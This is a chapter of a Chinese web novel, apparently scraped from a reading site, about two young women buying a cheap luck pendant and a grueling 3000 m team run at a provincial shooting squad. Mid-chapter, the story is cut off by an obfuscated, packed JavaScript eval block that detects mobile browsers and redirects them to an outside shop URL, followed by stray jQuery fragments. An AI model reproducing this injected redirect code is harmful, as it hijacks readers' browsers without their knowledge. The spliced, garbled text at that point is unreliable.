26. 第二十六章

作品:《射程之内

    抵达司机所说的三马路岔路口,宋争尔和姜蔓歌对视一眼,同时意识到人生地不熟的她们果然被诓了。


    这里的确有家泰餐餐厅,楼下也支了个简易的小摊,摊上挂个小黑板,画了两朵闪闪发光的绿色四叶草,中间写:幸运小摊。


    但是,几分钟前,网约车分明就已经开到了小摊斜对面,司机是故意绕了一圈,把单程路费抬高了,才送她们下车的。


    偏偏绕路也是她们同意的,只能自认倒霉,目送车子扬长而去。


    “都怪我,不该轻信他的。”姜蔓歌轻轻捶了捶脑袋,懊恼道。


    宋争尔把车费结了,说:“算啦,至少这儿真有个小摊。”


    “那咱们还去看吗?小摊那些事迹,说不定都是编的……”


    “去啊,”宋争尔笑,“来都来了。”


    两个小姑娘的影儿被夕阳拉长,像两杯打翻的水,蜿蜒流到摊主针织的手上。


    摊主停下动作,抬眼:一张圆圆的脸,乖巧亲和,另一个五官精致得宛如人偶,明眸善睐。光是看着,也让人心软。


    她语气柔和,问:“有喜欢的吗?戒指、手链、项链、钥匙扣……”


    姜蔓歌粗略地看两眼,没什么兴趣。


    反倒宋争尔一个个观察,看得很认真,须臾,她轻声问:“姐姐,这些东西可以给人带来好运吗?”


    没等摊主回答,她摇了摇头,笑着说:“没事,我随便问问。”


    她的目光定格在酒红色小毯子的边角,那里静静躺着一个透明边内嵌松绿的四叶草小吊坠。


    小摊上的东西,注定不会太精致,连绳链都是普普通通的黑色皮质细绳。


    摊主自然注意到她对这个小饰品感兴趣,立刻开口:“这个吊坠的设计灵感来自清晨滴露的四叶草,寓意着人生的每个黎明,幸运都会如期而至,也意味着苦尽甘来、得偿所愿。”


    她讲得天花乱坠,姜蔓歌听得一愣一愣,没想到有人能把这么简单的小物件编出一套如此华丽的诠释。


    下一秒,宋争尔居然合拢手掌,将吊坠攥在手心,问:“多少钱?”


    姜蔓歌凝固片刻,才愣愣地转头盯住宋争尔。


    难道只有她觉得这个“设计理念”很扯淡吗??


    事实证明,郊区就是郊区,哪怕是桉州市的郊区也同样。


    步行街能逛的、能吃的不多,宋争尔和姜蔓歌逛了一圈,没遇到什么特别的门店和摊子,索性打车回了基地。


    一趟下来,仅有的收获不过是酸软的小腿和宋争尔那个廉价的幸运吊坠。


    晚上,四人约好食堂碰面。


    姜蔓歌眼见宋争尔将吊坠放进了衣兜,以为要送给裴谨程,可直到一顿饭吃完了,吊坠也没拿出来。


    -


    或许刚来到省队不适应,宋争尔第二日起得很早。她先行洗漱收拾完,坐在椅子上玩着手机等姜蔓歌。


    心不在焉地刷了两下社交软件,她又抬头看向了桌面上的那个四叶草吊坠。


    昨天,原本她是打算送出去的。


    临了,又纠结这个小饰品便宜,好像有那么点儿,拿不出手。


    谁的幸运物会只值22元呢。


    “争尔,我好啦,咱们走吧。”背后传来姜蔓歌含糊的声音。


    “哦,好。”


    宋争尔起身,没忍住又低下视线看了眼吊坠,然后咬咬牙,一把将吊坠塞进了大衣口袋里。


    她叹息,终归还是希望能送到他的手上。


    步枪组的晨会在靶场召开,青春洋溢的少年们自觉地排成阵列。


    宋争尔在人群的缝隙里勉强看到前排,董小军的旁边站着个挺严肃的男人,双手环胸,要是在幼稚园,非得把儿童全吓哭不可。


    董小军先开口:“今天的晨会比较特殊,因为组里又来了两个新人,熟悉我的应该都知道,我不乐意搞什么欢迎仪式,所以一会儿点到名字的上前,给大家看看你们长什么样、叫什么就得了,闲话免谈,日后实力见真章。”


    他依次点了宋争尔和姜蔓歌的名字,等她们上前,又说:“昨天我们见过了。我叫董小军,我旁边这个叫杨晓,之后宋争尔跟我,姜蔓歌跟晓哥,都清楚了吧?没问题就各去各组训练。”


    杨晓全程没说话,唯一出声还是在董小军叫他的时候,像挤牙膏似的,从牙缝里溢出来个粗哑的“嗯”。


    人群四散。


    宋争尔握了握姜蔓歌的手,安抚地笑笑:“没事,又不是不见面,而且都在一层楼呢。再说了,合练的时候,照样又是一个班了。”


    姜蔓歌的嘴角硬扯出个不太好看的弯弧,点点头,跟着杨晓去了另一个训练室。


    董小军响亮地拍了拍手掌,说:“来吧,准备开始今天磨人的训练。”


    他瞄到个精神萎靡的小伙子,一看就是昨晚偷偷拿手机熬夜的,挑眉:“有个别人还没睡醒,那你们就陪一个吧,先下楼跑个3000米,热热身。”


    说罢,全场都醒得差不多了,宋争尔甚至听见细碎的哀嚎声。她突然觉得,跟杨晓也挺好的,不由得望了望姜蔓歌离去的方向。


    裴谨程和白若隐都归董小军管。白若隐腿瘸了没法跑,董小军特地嘱咐他必须在跑道边给其他人喊加油。


    “老头太神经了,音响那么大声,谁听得见我说话,非要我扯嗓子当拉拉队。”


    裴谨程慢下脚步,随口回他,“你站在边上纯招仇恨,他想帮你平衡下其他人的心态而已。”


    “靠,”白若隐崩溃,“咋不说我像个博物馆的标本杵着任人观赏呢?”


    裴谨程正要损他一句,余光捕捉到距离不断缩小的宋争尔,换了个委婉点的说辞:“你的观赏价值是……?”


    白若隐:“……”


    宋争尔追上裴谨程,左眼皮跳了跳,“董指的组,不会每天早上都得3000米醒神吧?”


    裴谨程默了一秒,说实话:“他平时都5000米。”


    宋争尔无力:“以前徐指才2400米,董指这都翻了一倍了。”


    白若隐在旁插嘴:“体测标准也是3000米,老头估计今天还是照顾了下你,没上来就整个5000米。”


    省队的人数不多,拆成两组,每组也就20人不到。


    董小军不喜欢按常理出牌,因此他手下小组的晨跑不会安排队形,鼓励大家自由跑,能在规定时间内跑完就行。


    一开始,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802019|188067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所有人乌泱泱地霸占起跑线的最佳位置,宋争尔心知基础不如人,倒也没像在市队的时候占领前排,而是自觉来到了靠后的末位。


    她侧头看了眼,不得不佩服裴谨程真的是耐寒之人,穿得比其他人都单薄,立在微冷的秋风里,一点不发颤。


    裴谨程察觉到她的目光,垂下眼看回来,只捉住少女眼尾的一点流光。


    他以为对方紧张,便出声:“保持自己的节奏跑,你没问题的。”


    宋争尔笑了笑:“就多六百米,应该能驾驭。”


    白若隐被董小军逼迫当上了裁判,站在跑道边扯着嗓子宣布:“计时开始。”


    一群少年就像被冲散的候鸟群似的飞了出去。


    跑道是一圈400米的规格,宋争尔按照自己的速度匀速跑在塑胶跑道上,心想这不就是高中最普遍的800米体测plus版吗,无非是没有赋分罢了。


    她在市队好说歹说也跑了一段时间,虽然跑得比其他人慢一些,但呼吸也能控制在舒服的范围。


    不过跑着跑着,她的大脑很快被一条指令占满——


    好!累!


    好累好累!


    她无暇顾及一直跑在外围的裴谨程,只觉得呼吸沉重,鼻腔好像还吸进去了附近高速公路上飘进来的灰尘和不明气体,呛得火辣辣的。


    有那么一瞬间,她甚至在怀疑裴谨程其实是长跑运动员的好苗子,否则怎么能在她旁边全程面不改色地陪跑。


    跑到后面,她连思考的力气也抽不出来了,只能麻木地重复抬腿、踏地的动作,完全没有余力去想鼻头的酸痛。


    即使跑过很多次中长距离的晨跑,她依然觉得很疲惫。长跑就像慢性凌迟,一分一秒地剐她的意志力。


    跑了两千多米,大家的差距渐渐拉开,有人体力弱一截,掉到队伍后头,也有人蓄力加速,预备在结尾冲刺。


    最后八百米。


    宋争尔张开一点嘴唇,舌头抵住上颚,让干燥的秋季空气湿润些进入口腔。


    以往这个时候,她已经在抬高腿冲刺最后的名次了,这次,她还欠了两圈的征程。


    最后六百米。


    宋争尔的呼吸开始沉重,她头昏眼花地想,再坚持一把。


    她在一吸一吐的间歇,懵然地闪过乱七八糟的念头,譬如她在某个几分之一秒扣下扳机,能够得到个10.7环左右的好落点。


    最后四百米。


    宋争尔跑到弯道,猛然被身后杀出来的一个人撞了个踉跄。


    那人想蹭着她里面跑,超个近道,不想没控制好方向,差点就撞了个人仰马翻。


    宋争尔本就跑得有点眼冒金星,这么撞一下,全身就卸了力。


    她掀起眼皮,还有整整一圈,3000米怎么那么漫长,那么远。她就像神庙逃亡小游戏里的原始人,跑不到尽头。


    气息一时控制不住,她有点想停下来走两步。


    “别停,继续跑。”


    裴谨程冷静的声音被秋风包裹着,带着一种说不上来的磁性,响起在耳畔。


    他还一直陪着她跑剩下的圈。


    他说,“宋争尔,不要停下来。”


    “不要放弃。”